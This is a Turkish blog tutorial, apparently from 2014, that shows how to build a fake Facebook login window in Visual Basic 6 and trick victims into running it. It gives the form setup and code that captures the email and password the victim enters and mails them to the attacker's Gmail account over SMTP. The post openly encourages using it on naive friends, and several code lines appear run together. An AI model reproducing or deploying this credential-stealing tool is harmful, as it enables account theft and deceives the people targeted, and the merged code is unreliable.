Herkese merhaba,
Bugün sizlerle yaptığımız programı kurbanımıza yedirip onun facebook şifresini çalacağız. Çok kullanılmayan basit bir yöntem olsa da sazan arkadaşlarınız var ise onlara yedirip facebook şifrelerini çalabilirsiniz. Yapacağımız işlem deneme- yanılma yoluyla olacaktır, yapacağımız programı kurbana yollayıp girmesini sağlayacağız. Her zaman yaptığım gibi sizlere adım adım anlatacağım, bütün adımları doğru yaptığımızda artık facebook şifrelerini çalmak bir engel olmayacaktır. Hemen başlayalım isterseniz.
2014 Facebook Çalma Programı
İlk önce boş bir Form açıyoruz.
Form‘ un Properties penceresinden Picture bölümüne geliyoruz.
… butonuna basıyoruz ve aşağıdaki resmi bilgisayarımıza kaydedip onu seçiyoruz.
Formumuza 2 adet textbox ve 1 adet buton ekliyoruz.
Textboxları email ve şifre girilen bölümlerin üstüne yerleştiriyoruz.
Butonu ise Login bölümünün üstüne koyuyoruz.
Butonun Properties bölümüne gelip Picture’ a basıyoruz ve aşağıdaki resmi seçiyoruz.
Butonun Style özelliğini 1- Graphical yapıyoruz ki resmimiz görülsün.
KODLAR :
Private Sub Command1_Click()
On Error Resume Next
Dim iMsg, iConf, FldsSet iMsg = CreateObject(“CDO.Message”)
Set iConf = CreateObject(“CDO.Configuration”)
Set Flds = iConf.Fieldsschema = “http://schemas.microsoft.com/cdo/configuration/”
Flds.Item(schema & “sendusing”) = 2
Flds.Item(schema & “smtpserver”) = “smtp.gmail.com”
Flds.Item(schema & “smtpserverport”) = 465
Flds.Item(schema & “smtpauthenticate”) = 1
Flds.Item(schema & “sendusername”) = “gmailid”
Flds.Item(schema & “sendpassword”) = “gmailpass”
Flds.Item(schema & “smtpusessl”) = 1
Flds.UpdateWith iMsg
.To = “gmailid”
.From = “gmailid”
.Subject = “Facebook Şifresi”
.HTMLbOdy = “ID: ” & Text1.Text & ” | ” & “SIFRE: ” & Text2.Text
.Organization = “Mail Organtion”
.ReplyTo = “-”
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub
- gmailid bölümüne kendi gmail adresimizi yazıyoruz.
- gmailpass bölümüne kendi gmail şifremizi yazıyoruz.
Şimdi ise yapmamız gereken tek şey programı bir kurbana yedirmek!
Hiç yorum yok:
Yorum Gönder